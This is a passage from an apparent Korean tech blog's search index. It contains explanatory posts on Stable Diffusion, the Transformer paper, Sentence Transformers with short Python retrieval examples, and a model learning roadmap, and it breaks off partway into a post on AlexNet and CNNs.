노이즈가 있는 xₜ₋₁을 예측한다.\n직접 xₜ₋₁을 예측하는 것보다 xₜ에 추가된 노이즈 자체를 예측하도록 학습하는 것이 수렴이 안정적이라는 것이 DDPM(Denoising Diffusion Probabilistic Models) 논문의 핵심 기여다. 실제로 추가된 노이즈 ε와 모델이 예측한 노이즈 ε_θ 사이의 MSE(평균 제곱 오차)를 줄이는 방향으로 학습한다.\nL = E[||ε - ε_θ(xₜ, t)||²] 추론 시에는 순수 노이즈 xₜ에서 시작해 모델이 예측한 노이즈를 빼는 과정을 T번 반복하면 깨끗한 이미지 x₀가 나온다.\n잠재 확산 모델 (Latent Diffusion Model) DDPM을 픽셀 공간에서 직접 실행하면 512×512 이미지에서 3×512×512 = 786,432차원의 데이터를 다뤄야 한다. 연산량이 막대하고 T번 반복하므로 실용적이지 않다.\nStable Diffusion이 채택한 **LDM(Latent Diffusion Model)**은 픽셀 대신 잠재 공간(latent space)에서 확산을 수행한다. 잠재 공간은 픽셀 공간의 압축된 표현이다. 512×512 이미지가 64×64 잠재 벡터로 압축되면 연산량이 64분의 1로 줄어든다.\n이 압축을 담당하는 것이 VAE(Variational Autoencoder)다.\n아키텍처 구성요소 VAE (Variational Autoencoder) 인코더와 디코더로 구성된다. 인코더는 픽셀 이미지를 잠재 벡터로 압축하고, 디코더는 잠재 벡터를 다시 픽셀 이미지로 복원한다.\n인코더: 512×512×3 → 64×64×4 디코더: 64×64×4 → 512×512×3 확산 과정은 64×64×4 잠재 공간에서 진행된다. 최종 결과물은 VAE 디코더가 잠재 벡터를 픽셀 이미지로 변환해 출력한다. VAE는 학습 전에 미리 학습되어 있고, 확산 과정 중에는 고정(frozen)된다.\nU-Net (노이즈 예측 네트워크) 잠재 공간에서 노이즈를 예측하는 핵심 네트워크다. 이름 그대로 U자 형태의 인코더-디코더 구조를 가지며, 스킵 커넥션(skip connection)으로 인코더의 특징을 디코더에 전달한다.\nU-Net이 받는 입력은 세 가지다.\nnoisy 잠재 벡터 xₜ — 현재 노이즈가 섞인 상태 타임스텝 t — 현재 몇 번째 스텝인지 (sinusoidal embedding으로 인코딩) 조건 벡터 — 텍스트 프롬프트 등의 조건 U-Net 내부에는 어텐션 레이어가 있다. 셀프 어텐션(self-attention)은 이미지 내부의 관계를, 크로스 어텐션(cross-attention)은 이미지와 텍스트 조건의 관계를 학습한다. \u0026ldquo;빨간 사과\u0026quot;라는 프롬프트가 이미지의 특정 영역에 반영되는 것이 크로스 어텐션의 역할이다.\n텍스트 인코더 (CLIP) 텍스트 프롬프트를 U-Net이 이해할 수 있는 벡터로 변환한다. SD 1.x/2.x는 OpenAI의 CLIP(Contrastive Language-Image Pre-Training) 텍스트 인코더를 사용한다.\nCLIP은 텍스트와 이미지를 같은 임베딩 공간에 정렬하도록 학습된 모델이다. \u0026ldquo;개\u0026quot;라는 텍스트와 개 이미지의 임베딩이 가까워지도록 학습했기 때문에, CLIP 텍스트 인코더가 만든 벡터는 이미지 생성에 잘 맞는 표현을 갖는다.\n프롬프트 → CLIP 인코더 → 토큰 임베딩 시퀀스 → U-Net 크로스 어텐션에 주입\n전체 추론 흐름을 정리하면 다음과 같다.\n텍스트 프롬프트 ↓ CLIP 인코더 텍스트 임베딩 ↓ 순수 노이즈 (64×64×4) ──→ U-Net (T번 반복) ──→ 깨끗한 잠재 벡터 ↑ 타임스텝 t ↓ VAE 디코더 최종 이미지 (512×512×3) 샘플링 방법 T = 1000 스텝을 전부 밟으면 이미지 하나를 생성하는 데 수십 초가 걸린다. 실용적인 스텝 수로 줄이는 것이 샘플러(sampler)의 역할이다.\nDDIM (Denoising Diffusion Implicit Models) DDPM의 확률적(stochastic) 샘플링 대신 결정론적(deterministic) 방식을 사용한다. 같은 시드와 프롬프트로 항상 같은 이미지가 나온다. 50 스텝으로도 DDPM 1000 스텝에 준하는 품질이 나온다.\nDPM++ (2M, SDE) 수치 ODE(상미분방정식) 솔버를 활용해 2차 이상의 근사를 사용한다. 20~30 스텝으로 높은 품질이 나와 현재 가장 많이 사용된다. 2M은 2차 다단계(multi-step), SDE는 확률적 미분방정식을 추가해 다양성을 높인 변형이다.\nCFG (Classifier-Free Guidance) 텍스트 조건을 얼마나 강하게 반영할지 결정하는 파라미터다. 모델은 조건 있는 예측과 조건 없는 예측 두 가지를 함께 수행하고, CFG 스케일(guidance scale)로 가중합한다.\nε_final = ε_uncond + cfg_scale × (ε_cond - ε_uncond) CFG = 7이면 텍스트를 강하게 따른다. CFG = 1이면 텍스트 무시에 가깝다. CFG가 너무 높으면 과포화되고 디테일이 깨진다. 일반적으로 7~12 사이를 쓴다.\n파인튜닝 기법 사전 학습된 Stable Diffusion을 특정 스타일, 특정 인물, 특정 도메인에 맞게 조정하는 방법들이다.\nTextual Inversion 새로운 단어(토큰)를 CLIP 임베딩 공간에 추가한다. 예를 들어 \u0026lt;my-cat\u0026gt;이라는 토큰이 내 고양이 이미지를 표현하도록 학습한다. U-Net 가중치는 변경하지 않고, 텍스트 임베딩 벡터 하나만 학습한다. 파일 크기가 작고(수십 KB), 학습이 빠르다. 다만 표현력이 제한적이다.\nDreamBooth 3~30장의 특정 대상 이미지로 U-Net 전체를 파인튜닝한다. \u0026ldquo;희귀 단어\u0026rdquo;(예: sks dog)를 해당 대상과 연결한다. prior preservation loss를 추가해 파인튜닝 전 일반적인 개념(개, 사람 등)이 망각되는 것을 방지한다. Textual Inversion보다 품질이 높지만 모델 전체를 저장해야 해 파일이 크다(수 GB).\nLoRA (Low-Rank Adaptation) 원래 LLM 파인튜닝 기법인 LoRA를 확산 모델에 적용한다. U-Net의 어텐션 레이어 가중치 행렬을 두 개의 저랭크(low-rank) 행렬의 곱으로 근사해 학습한다.\nW\u0026#39; = W + ΔW = W + A × B W는 원본 가중치(고정), A와 B는 작은 랭크 r의 행렬(학습). 랭크 r = 4이면 4096×4096 행렬 대신 4096×4 + 4×4096을 학습한다. 파일 크기가 수십~수백 MB로 작고, 학습 속도가 빠르다. 현재 커뮤니티에서 가장 널리 쓰이는 파인튜닝 방식이다. 여러 LoRA를 가중치 합산으로 동시에 적용할 수 있다.\nControlNet 생성 이미지의 구도, 포즈, 깊이감, 엣지를 입력 조건으로 제어한다. U-Net의 인코더 부분을 복제해 컨트롤 신호를 받는 별도 네트워크를 만들고, 원본 U-Net에 출력을 더한다.\n입력 조건 종류: - Canny Edge: 엣지 맵 → 구도 제어 - Depth: 깊이 맵 → 원근감 제어 - OpenPose: 관절 좌표 → 인물 포즈 제어 - Scribble: 손 그림 → 대략적인 구성 제어 - Normal Map: 법선 맵 → 표면 질감 제어 ControlNet 없이 프롬프트만으로 구도나 포즈를 정확히 제어하기 어렵다는 한계를 해결한다.\nIP-Adapter 이미지를 프롬프트처럼 조건으로 사용한다. 레퍼런스 이미지의 스타일이나 피사체를 다른 이미지에 적용하는 Image Prompt 개념이다. CLIP 이미지 인코더로 레퍼런스 이미지를 임베딩하고, 별도 크로스 어텐션 레이어로 U-Net에 주입한다.\n발전 과정 SD 1.x (2022) Runway와 LMU Munich의 Rombach 등이 공개했다. LAION-5B 데이터셋으로 학습. 512×512 기본 해상도. CLIP ViT-L/14 텍스트 인코더. 사람 손, 텍스트 렌더링 품질이 낮은 한계가 있었다.\nSD 2.x (2022) 텍스트 인코더를 OpenCLIP ViT-H로 교체해 성능을 높였다. 768×768 기본 해상도. 그러나 SD 1.x 호환 LoRA/모델이 작동하지 않아 커뮤니티가 분리됐다.\nSDXL (2023) 두 개의 텍스트 인코더(OpenCLIP ViT-G + CLIP ViT-L)를 함께 사용한다. 기본 해상도 1024×1024. Base 모델과 Refiner 모델로 분리해 1단계에서 전체 구도를 잡고 2단계에서 디테일을 보완한다. 파라미터 수가 3.5B로 이전 모델(1B)의 3배 이상이다.\nSD3 (2024) Diffusion Transformer(DiT) 아키텍처를 도입했다. U-Net 대신 Transformer 블록을 사용한다. 텍스트 렌더링 품질이 크게 향상됐다. 멀티모달 확산 트랜스포머(MMDiT)로 텍스트와 이미지 토큰을 함께 처리한다.\nFLUX (2024, Black Forest Labs) SD의 원 개발팀(Rombach 등)이 Stability AI를 나와 창업한 Black Forest Labs의 모델이다. Flow Matching 기반으로 DDPM과 다른 학습 방식을 사용한다. FLUX.1-dev와 FLUX.1-schnell(蒸留 버전)이 공개돼 있다. 텍스트 렌더링, 인물 사실성, 프롬프트 추종력이 SD3 대비 전반적으로 높다.\nFlow Matching (FLUX의 기반) DDPM은 노이즈 예측(ε-prediction)을 통해 역방향 확산을 학습한다. Flow Matching은 다른 관점에서 접근한다. 노이즈 분포에서 데이터 분포로의 **흐름(velocity field)**을 학습한다. 임의의 두 점 사이를 직선으로 잇는 경로(Rectified Flow)를 학습해 더 적은 샘플링 스텝으로 고품질 이미지를 생성한다.\nDDPM: 복잡한 곡선 경로 → 많은 스텝 필요 Flow: 직선에 가까운 경로 → 적은 스텝으로 가능 트레이드오프 샘플링 스텝을 줄이면 속도가 빠르지만 품질이 떨어진다. CFG를 높이면 프롬프트 추종력이 높아지지만 다양성이 줄고 과포화 현상이 생긴다. LoRA 여러 개를 동시에 적용하면 가중치 간섭으로 품질이 떨어질 수 있다.\nVAE가 병목이 되기도 한다. SD 1.x의 기본 VAE는 채도 표현이 약했고, 커뮤니티에서 finetuned VAE(EMA VAE, SDXL VAE)로 교체하는 것이 일반적이 됐다.\n모델 크기와 VRAM 요구량도 트레이드오프다. SD 1.5는 4GB VRAM으로 동작하지만 SDXL은 8GB 이상, FLUX는 16GB 이상이 필요하다. vram-calculator 같은 도구로 추론 전에 메모리를 예측하는 것이 실용적이다.\n","permalink":"https://charminggroot.github.io/posts/064-stable-diffusion/","summary":"Stable Diffusion은 텍스트 프롬프트로 이미지를 생성하는 잠재 확산 모델이다. 노이즈를 점진적으로 제거하는 역방향 확산 과정을 학습하고, VAE로 픽셀 대신 잠재 공간에서 연산해 효율을 높인다. 원리, 아키텍처, 샘플링 방법, LoRA/ControlNet 같은 파인튜닝 기법, SD1.x부터 FLUX까지의 발전 과정을 다룬다.","title":"064. Stable Diffusion — 확산 모델의 원리부터 파인튜닝까지"},{"content":"2017년 이전 자연어 처리의 주류는 RNN(순환 신경망)과 LSTM이었다. 이 구조는 시퀀스를 왼쪽에서 오른쪽으로 순서대로 처리한다. \u0026ldquo;나는 어제 서울에서 맛있는 밥을 먹었다\u0026quot;라는 문장을 처리할 때 \u0026ldquo;먹었다\u0026quot;에 도달하는 시점에는 \u0026ldquo;나는\u0026quot;의 정보가 여러 스텝을 거쳐 희석된다. 이것이 장거리 의존성 문제다. 또한 순서대로 처리해야 하므로 병렬화가 불가능해 학습이 느렸다.\nVaswani 등의 \u0026ldquo;Attention Is All You Need\u0026quot;는 순환 구조를 완전히 제거하고 어텐션 메커니즘만으로 시퀀스를 처리하는 트랜스포머(Transformer)를 제안했다.\n핵심 아이디어: Self-Attention 어텐션(attention)은 문장 내 각 단어가 다른 단어들과 얼마나 관련 있는지를 가중치로 표현하는 메커니즘이다. \u0026ldquo;나는 사과를 먹었다\u0026quot;에서 \u0026ldquo;먹었다\u0026quot;는 \u0026ldquo;사과\u0026quot;와 강하게 관련되고 \u0026ldquo;나는\u0026quot;과는 약하게 관련된다. 이 관련도를 학습하는 것이 셀프 어텐션(self-attention)이다.\nScaled Dot-Product Attention 입력 벡터에서 세 가지 행렬을 만든다.\nQ (Query) — \u0026ldquo;나는 어떤 정보를 찾고 있나\u0026rdquo; K (Key) — \u0026ldquo;나는 어떤 정보를 갖고 있나\u0026rdquo; V (Value) — \u0026ldquo;실제로 전달할 정보\u0026rdquo; Attention(Q, K, V) = softmax(QK^T / √d_k) × V Q와 K의 내적(dot product)으로 각 단어 쌍의 유사도 점수를 구한다 차원 수의 제곱근 √d_k로 나눠 스케일링한다. d_k가 커질수록 내적 값이 커져 softmax가 극단적인 값으로 수렴하는 것을 방지한다 Softmax로 확률 분포로 변환한다 (어텐션 가중치) V에 가중치를 곱해 최종 출력을 만든다 √d_k로 나누는 것이 \u0026ldquo;Scaled\u0026quot;의 의미다.\n모든 단어 쌍의 관계를 한 번에 행렬 연산으로 계산하므로 병렬화가 가능하다.\nMulti-Head Attention 어텐션을 한 번만 하는 것보다 여러 번 병렬로 수행하면 더 풍부한 관계를 포착할 수 있다. h개의 헤드가 각자 다른 Q, K, V 투영 행렬을 학습한다.\nMultiHead(Q, K, V) = Concat(head₁, ..., headₙ) × Wᴼ headᵢ = Attention(Q×Wᵢᴼ, K×Wᵢᴷ, V×Wᵢᵛ) 한 헤드는 문법적 관계를, 다른 헤드는 의미적 관계를, 또 다른 헤드는 지시어 해소(대명사가 무엇을 가리키는지)를 포착하는 식으로 역할이 분화된다.\n논문에서는 h = 8개 헤드, d_model = 512를 사용했다. 각 헤드의 차원은 512 / 8 = 64다.\n위치 인코딩 (Positional Encoding) RNN은 순서대로 처리하므로 위치 정보가 구조에 내재한다. 트랜스포머는 모든 위치를 동시에 처리하므로 위치 정보를 별도로 주입해야 한다.\n논문은 사인/코사인 함수를 이용한 고정 위치 인코딩을 제안했다.\nPE(pos, 2i) = sin(pos / 10000^(2i/d_model)) PE(pos, 2i+1) = cos(pos / 10000^(2i/d_model)) pos는 문장 내 위치, i는 임베딩 차원 인덱스다. 각 차원이 서로 다른 주기의 사인/코사인 파형을 갖는다. 낮은 차원은 빠른 주기(세밀한 위치 구분), 높은 차원은 느린 주기(큰 단위 위치 구분)다.\n이 방식의 장점은 학습 중에 보지 못한 더 긴 시퀀스에도 일반화된다는 것이다.\n이후 BERT 등은 학습 가능한 위치 임베딩(learnable positional embedding)을 사용했다. RoPE(Rotary Position Embedding)와 ALiBi 같은 변형이 현재 LLM에서 더 많이 쓰인다.\n트랜스포머 아키텍처 논문은 기계 번역 태스크를 위한 인코더-디코더 구조를 제안했다.\n인코더 입력 시퀀스(예: 영어 문장)를 처리한다. N개(논문에서 6개)의 동일한 레이어로 구성된다.\n각 레이어는 두 개의 서브레이어다.\nMulti-Head Self-Attention — 입력 시퀀스 내 모든 위치 간의 관계를 계산 Feed-Forward Network — 각 위치별로 독립적인 2층 MLP 각 서브레이어는 잔차 연결(residual connection)과 레이어 정규화(layer normalization)를 거친다.\n출력 = LayerNorm(x + SubLayer(x)) 잔차 연결은 기울기 소실 문제를 완화하고 학습을 안정화한다.\n디코더 출력 시퀀스(예: 한국어 번역)를 생성한다. 인코더와 다른 점이 두 가지다.\nMasked Self-Attention — 생성 중인 위치 이후의 토큰을 보지 못하도록 마스킹. 미래 토큰을 참조해 \u0026ldquo;치팅\u0026quot;하는 것을 방지한다 Cross-Attention — Q는 디코더 상태, K와 V는 인코더 출력. 번역할 때 원문의 어떤 부분에 집중할지 학습한다 Feed-Forward Network 각 위치별로 같은 FFN을 적용한다. 2층 선형 변환과 ReLU 활성화 함수다.\nFFN(x) = max(0, xW₁ + b₁)W₂ + b₂ d_model = 512, 내부 차원 d_ff = 2048. 어텐션이 위치 간 관계를 포착하는 역할이라면, FFN은 각 위치에서 특징을 변환하는 역할이다.\n왜 혁명적이었나 병렬화: 모든 위치를 동시에 처리하므로 GPU 활용도가 극적으로 높아졌다. 동일한 하드웨어로 훨씬 빠르게 학습할 수 있다.\n장거리 의존성: 어떤 두 위치 사이의 거리와 관계없이 어텐션 한 번으로 직접 연결된다. RNN은 거리가 n이면 n번의 순환을 거쳐야 한다.\n확장성: 모델 크기를 늘리면(파라미터, 레이어 수, 헤드 수) 성능이 예측 가능하게 향상된다. 이 스케일링 특성이 GPT, BERT, LLaMA 등 이후 모든 대형 모델의 기반이 됐다.\nBERT는 트랜스포머 인코더만 사용해 양방향 언어 이해를 학습했고, GPT는 트랜스포머 디코더만 사용해 자기회귀 생성을 학습했다. 인코더-디코더 전체를 사용하는 T5, BART 등도 기계 번역과 요약에 쓰인다.\n트레이드오프 Self-Attention의 연산량은 시퀀스 길이 n의 제곱에 비례한다(O(n²)). 모든 위치 쌍의 어텐션을 계산하기 때문이다. 문서 전체를 처리하거나 컨텍스트 길이가 수만 토큰에 달하면 연산량이 폭발한다. 이를 해결하기 위해 Sparse Attention, FlashAttention, Ring Attention, Sliding Window Attention 등 다양한 효율화 기법이 나왔다.\n위치 인코딩 방식도 한계가 있다. 논문의 절대 위치 인코딩은 학습 시 본 최대 길이 이상의 시퀀스에서 성능이 떨어진다. 현재 LLM들은 RoPE에 YaRN, LongRoPE 등 외삽(extrapolation) 기법을 적용해 학습 시보다 긴 컨텍스트를 처리한다.\n","permalink":"https://charminggroot.github.io/posts/065-attention-is-all-you-need/","summary":"2017년 Google Brain의 Vaswani 등이 발표한 논문. RNN 없이 어텐션만으로 시퀀스를 처리하는 트랜스포머 아키텍처를 제안했다. 병렬 연산이 가능하고 장거리 의존성을 직접 포착한다는 두 가지 특성이 이후 모든 대형 언어 모델의 기반이 됐다.","title":"065. Attention Is All You Need — 트랜스포머 논문 핵심 정리"},{"content":"BERT가 등장한 후 자연어 이해 성능이 크게 향상됐다. 그런데 \u0026ldquo;이 두 문장이 얼마나 비슷한가\u0026quot;를 BERT로 계산하려면 두 문장을 쌍으로 묶어 함께 입력해야 한다. 10,000개 문장 데이터베이스에서 가장 유사한 문장을 찾으려면 쿼리와 10,000개 문장의 조합 50,000,000쌍을 전부 BERT에 통과시켜야 한다. 현실적으로 불가능한 방식이다.\n2019년 Reimers와 Gurevych의 \u0026ldquo;Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks\u0026quot;가 이 문제를 해결했다.\n핵심 아이디어 문장을 미리 고정 크기 벡터(임베딩)로 변환해 저장해 둔다. 유사도 계산은 벡터 간 코사인 유사도로 끝낸다.\n문장 A → SBERT → 벡터 A (768차원) 문장 B → SBERT → 벡터 B (768차원) 유사도 = cosine_similarity(벡터 A, 벡터 B) 10,000개 문장의 임베딩을 미리 계산해두면, 이후 검색은 벡터 연산 한 번이다. BERT 방식 대비 속도가 수천~수만 배 빠르다.\n샴 네트워크 (Siamese Network) SBERT는 같은 BERT 가중치를 공유하는 두 개의 인코더로 구성된 샴 네트워크(Siamese Network) 구조로 학습한다. 샴 쌍둥이처럼 동일한 가중치를 가진 두 경로가 나란히 실행된다.\n문장 A ─→ [공유 BERT] ─→ 풀링 ─→ 벡터 A ──┐ ├→ 손실 함수 문장 B ─→ [공유 BERT] ─→ 풀링 ─→ 벡터 B ──┘ 레이블이 \u0026ldquo;두 문장은 같은 의미다\u0026quot;이면 두 벡터가 가까워지도록, \u0026ldquo;다른 의미다\u0026quot;이면 멀어지도록 가중치를 업데이트한다.\n풀링 전략 BERT의 출력은 토큰별 벡터 시퀀스다. 문장을 하나의 벡터로 만들려면 시퀀스를 합산해야 한다. 이것이 풀링(pooling)이다.\nCLS 토큰 풀링: BERT는 문장 시작에 [CLS] 토큰을 추가하고, 이 토큰의 출력이 문장 전체의 표현을 담도록 학습한다. 이 벡터 하나를 사용하는 방식이다.\nMean 풀링: 모든 토큰 벡터의 평균을 낸다. SBERT 논문에서 실험 결과 CLS 풀링보다 Mean 풀링이 더 좋은 성능을 보였다. 현재 대부분의 모델이 Mean 풀링을 기본으로 사용한다.\nMax 풀링: 각 차원에서 최댓값을 취한다. 특정 특징의 존재 여부를 포착하는 데 유리하다.\nfrom sentence_transformers import SentenceTransformer model = SentenceTransformer(\u0026#39;all-MiniLM-L6-v2\u0026#39;) sentences = [ \u0026#34;오늘 날씨가 맑다\u0026#34;, \u0026#34;오늘은 화창한 날씨다\u0026#34;, \u0026#34;파이썬으로 웹 서버를 만들었다\u0026#34;, ] embeddings = model.encode(sentences) # embeddings.shape: (3, 384) 학습 방식 NLI 기반 학습 (원 논문) 자연어 추론(NLI) 데이터셋을 사용한다. 두 문장의 관계가 \u0026ldquo;함의(entailment)\u0026rdquo;, \u0026ldquo;중립(neutral)\u0026rdquo;, \u0026ldquo;모순(contradiction)\u0026rdquo; 세 가지로 레이블돼 있다.\n소프트맥스 손실(Softmax Loss)로 학습한다. 두 벡터의 차이(|u-v|)와 원소별 곱(u×v)을 이어 붙여 분류기에 통과시킨다.\nTriplet Loss 앵커(anchor), 포지티브(positive, 유사한 문장), 네거티브(negative, 다른 문장) 세 가지를 동시에 사용한다.\nL = max(||s_a - s_p||² - ||s_a - s_n||² + ε, 0) 앵커와 포지티브의 거리가 앵커와 네거티브의 거리보다 ε만큼 작아지도록 학습한다. 검색 태스크에서 효과적이다.\nContrastive Learning (현대적 접근) SimCSE, E5, BGE 등 현재 널리 쓰이는 모델들은 대조 학습(contrastive learning)을 사용한다. 같은 문장을 드롭아웃을 다르게 적용해 두 번 인코딩하면 포지티브 쌍이 되고, 배치 내 다른 문장들이 자동으로 네거티브가 된다(in-batch negatives). 레이블 없이도 고품질 임베딩을 학습할 수 있다.\n의미 검색 구현 from sentence_transformers import SentenceTransformer, util model = SentenceTransformer(\u0026#39;all-MiniLM-L6-v2\u0026#39;) # 문서 데이터베이스 (미리 계산) docs = [ \u0026#34;k8s에서 HPA는 CPU 사용률 기반으로 Pod을 자동 스케일아웃한다\u0026#34;, \u0026#34;Crossplane은 k8s에서 AWS 인프라를 관리하는 도구다\u0026#34;, \u0026#34;Stable Diffusion은 잠재 확산 모델 기반 이미지 생성 모델이다\u0026#34;, ] doc_embeddings = model.encode(docs, convert_to_tensor=True) # 쿼리 query = \u0026#34;파드 자동 확장 방법\u0026#34; query_embedding = model.encode(query, convert_to_tensor=True) # 코사인 유사도 검색 scores = util.cos_sim(query_embedding, doc_embeddings)[0] top_result = scores.argmax() print(docs[top_result]) # \u0026#34;k8s에서 HPA는 CPU 사용률 기반으로 Pod을 자동 스케일아웃한다\u0026#34; Bi-Encoder vs Cross-Encoder Sentence Transformers 생태계에서 자주 나오는 두 가지 아키텍처다.\nBi-Encoder (SBERT가 여기에 해당)\n두 문장을 각자 독립적으로 인코딩해 벡터를 만든다. 벡터를 미리 계산해 저장할 수 있어 검색 속도가 빠르다. 대규모 검색의 첫 번째 단계(retrieval)에 사용한다.\nCross-Encoder\n두 문장을 쌍으로 묶어 BERT에 함께 입력한다. 두 문장이 서로 영향을 미치면서 인코딩되므로 정확도가 더 높다. 하지만 미리 계산이 불가능하고 쌍마다 인코딩해야 하므로 느리다. Bi-Encoder가 추린 상위 후보를 다시 정렬하는 두 번째 단계(reranking)에 사용한다.\n쿼리 → Bi-Encoder → 상위 100개 후보 ↓ 상위 100개 → Cross-Encoder → 최종 상위 10개 (정확도 높음) 이 두 단계 파이프라인이 현재 RAG(Retrieval-Augmented Generation) 시스템의 기본 구조다.\n주요 모델 모델 차원 특징 all-MiniLM-L6-v2 384 빠르고 작음, 범용 all-mpnet-base-v2 768 균형 잡힌 성능 bge-m3 1024 다국어, 한국어 포함 text-embedding-3-small 1536 OpenAI API intfloat/multilingual-e5-large 1024 다국어 강점 한국어를 포함한 다국어 검색이 필요하면 bge-m3나 multilingual-e5가 현실적인 선택이다.\nRAG에서의 역할 Sentence Transformers는 RAG 파이프라인의 핵심 컴포넌트다.\n문서 수집 ↓ 청킹 (chunk) 텍스트 조각들 ↓ Sentence Transformers 벡터 임베딩들 ↓ 벡터 DB 저장 (Pinecone, Qdrant, pgvector) ─── 쿼리 시 ─── 사용자 질문 ↓ Sentence Transformers 쿼리 벡터 ↓ 벡터 DB 유사도 검색 관련 문서 조각들 ↓ LLM에 컨텍스트로 주입 최종 답변 임베딩 품질이 RAG 전체의 검색 성능을 결정한다. 좋은 임베딩 모델은 \u0026ldquo;k8s Pod 스케일링 방법\u0026quot;이라는 쿼리가 \u0026ldquo;HPA를 이용한 수평적 자동 확장\u0026quot;이라는 문서 조각과 매핑될 수 있도록 의미적 유사성을 포착한다.\n트레이드오프 임베딩 차원이 높을수록 표현력이 좋지만 저장 공간과 검색 속도가 나빠진다. 384차원과 1536차원은 메모리 사용량이 4배 차이 난다. 수백만 개의 문서를 인덱싱하면 이 차이가 의미 있어진다.\nBi-Encoder는 두 문장을 독립적으로 인코딩하므로 두 문장 사이의 미묘한 관계를 놓칠 수 있다. \u0026ldquo;A가 B보다 크다\u0026quot;와 \u0026ldquo;B가 A보다 크다\u0026quot;는 단어 구성이 같아도 의미가 반대지만, Bi-Encoder는 두 문장의 임베딩을 비슷하게 만들 수 있다. 정밀도가 중요한 최종 랭킹 단계에서는 Cross-Encoder가 필요하다.\n","permalink":"https://charminggroot.github.io/posts/066-sentence-transformers/","summary":"Sentence Transformers(SBERT)는 문장을 고정 크기 벡터로 변환해 의미적 유사도를 빠르게 계산할 수 있게 한다. 2019년 Reimers와 Gurevych가 제안했으며, BERT의 O(n²) 연산 문제를 샴 네트워크 구조로 해결했다. RAG, 의미 검색, 문장 클러스터링의 기반 기술이다.","title":"066. Sentence Transformers — 문장 임베딩과 의미 검색"},{"content":"완료 [[068-cnn-alexnet-resnet|068. AlexNet → ResNet — CNN 발전사]] ✓ [[069-yolo|069. YOLO 계보 — 실시간 객체 탐지]] ✓ [[065-attention-is-all-you-need|065. Attention Is All You Need]] ✓ [[066-sentence-transformers|066. Sentence Transformers]] ✓ 2013–2017 — 단어 임베딩과 기반 기술 [[070-word2vec-glove|070. Word2Vec / GloVe — 단어 임베딩의 시작]] [[071-tokenizer|071. 토크나이저 — BPE, WordPiece, SentencePiece]] 2018–2019 — BERT와 사전학습 혁명 [[072-bert|072. BERT — 양방향 트랜스포머 인코더]] [[073-roberta|073. RoBERTa — BERT 학습 방식 개선]] 2020 — 트랜스포머의 비전 확장 [[074-detr|074. DETR — 트랜스포머 기반 객체 탐지]] [[075-vit|075. ViT — Vision Transformer]] 2020–2021 — 검색과 임베딩 심화 [[076-colbert|076. ColBERT — Late Interaction 검색]] [[077-chunking|077. 청킹 전략 — RAG를 위한 텍스트 분할]] [[078-vector-db|078. 벡터 DB — Qdrant, pgvector, Pinecone]] [[079-hybrid-search|079. 하이브리드 검색 — BM25 + 벡터 검색]] [[080-rag|080. RAG — 검색 증강 생성 파이프라인]] [[081-mteb|081. MTEB — 임베딩 모델 벤치마크]] 2021 — 자기지도학습과 멀티모달 [[082-dino|082. DINO — 자기지도학습 비전]] [[083-clip|083. CLIP — 텍스트-이미지 공동 임베딩]] 2022 — 멀티모달 확장과 학습 효율화 [[084-blip|084. BLIP — 이미지 캡셔닝과 VQA]] [[085-flamingo|085. Flamingo — Few-shot 멀티모달]] [[086-flash-attention|086. FlashAttention — 어텐션 메모리 최적화]] [[087-matryoshka|087. Matryoshka Representation Learning]] [[088-prompt-prefix-tuning|088. Prompt Tuning / Prefix Tuning]] [[089-peft|089. PEFT — 파라미터 효율적 파인튜닝 프레임워크]] [[090-gptq|090. GPTQ — 사후 학습 양자화]] 2023 — 오픈소스 멀티모달과 추론 최적화 [[091-dinov2|091. DINOv2 — 범용 비전 특징 추출]] [[092-sam|092. SAM — Segment Anything Model]] [[093-blip2|093. BLIP-2 — Q-Former 기반 멀티모달]] [[094-llava|094. LLaVA — 오픈소스 멀티모달 LLM]] [[095-qlora|095. QLoRA — 4bit 양자화 + LoRA]] 이후 (96~) AWQ / GGUF — 추론 양자화 PagedAttention / vLLM — KV 캐시 서빙 Speculative Decoding Function Calling / Tool Use BGE / E5 — 현세대 임베딩 모델 BGE-M3 — 다국어 다기능 임베딩 ReAct — 추론과 행동의 교차 MCP — 모델 컨텍스트 프로토콜 ","permalink":"https://charminggroot.github.io/posts/067-ai-model-roadmap/","summary":"딥러닝 모델들의 발표 연도 기준 학습 로드맵. CNN 발전사부터 멀티모달, 추론 최적화, 에이전트까지 순서대로 정리한다.","title":"067. AI 모델 로드맵 — 발전 순서 목록"},{"content":"2012년 이전 컴퓨터 비전은 사람이 설계한 특징(feature)을 사용했다. SIFT, HOG 같은 알고리즘이 픽셀에서 엣지, 방향, 텍스처를 추출하고, SVM 같은 분류기가 그 특징으로 판단했다. ImageNet 같은 대규모 분류 대회에서 오류율은 25% 수준에서 수년째 답보 상태였다.\n2012년 AlexNet이 오류율을 15.3%로 낮추며 2위(26.2%)를 압도했다. 단순히 1등이 아니라 격차가 기존 기술의 한계를 넘어선 것이었다.\nCNN의 기본 원리 합성곱 신경망(Convolutional Neural Network, CNN)은 이미지의 공간적 구조를 활용한다.\n합성곱 레이어 (Convolutional Layer)\n작은 필터(커널)를 이미지 전체에 슬라이딩하며 적용한다. 3×3 필터는 입력의 3×3 영역을 보고 하나의 값을 출력한다. 같은 필터를 이미지 전체에 적용하므로 위치와 무관하게 같은 패턴을 인식한다(평행 이동 불변성, translation invariance).\n입력 이미지 (32×32×3) ↓ 합성곱 (3×3 필터 × 64개) 특징 맵 (30×30×64) ↓ ReLU 활성화 ↓ Max Pooling (2×2) 특징 맵 (15×15×64) 얕은 레이어는 엣지와 색상 같은 저수준 특징을 학습하고, 깊은 레이어로 갈수록 눈, 코, 바퀴 같은 고수준 패턴을 학습한다.\n풀링 레이어 (Pooling Layer)\n특징 맵의 크기를 줄여 파라미터 수와 연산량을 줄인다. Max Pooling은 영역 내 최댓값을 취해 가장 두드러진 특징을 유지한다.\nAlexNet (2012) Alex Krizhevsky, Ilya Sutskever, Geoffrey Hinton이 발표했다. 8개 레이어(5개 합성곱 + 3개 완전 연결)로 구성됐다.\n세 가지 핵심 기여\nReLU 활성화 함수: 기존 sigmoid와 tanh는 입력이 크거나 작으면 기울기가 0에 가까워지는 기울기 소실(vanishing gradient) 문제가 있었다. ReLU(Rectified Linear Unit)는 양수 구간에서 기울기가 항상 1이라 학습이 훨씬 빠르다.\nsigmoid: f(x) = 1 / (1 + e^(-x)) → 기울기 최대 0.25 ReLU: f(x) = max(0, x) → 양수 구간 기울기 = 1 드롭아웃 (Dropout): 학습 시 랜덤하게 50%의 뉴런을 비활성화한다. 특정 뉴런에 의존하지 않도록 강제해 과적합을 방지한다. 추론 시에는 모든 뉴런을 사용하고 출력에 0.5를 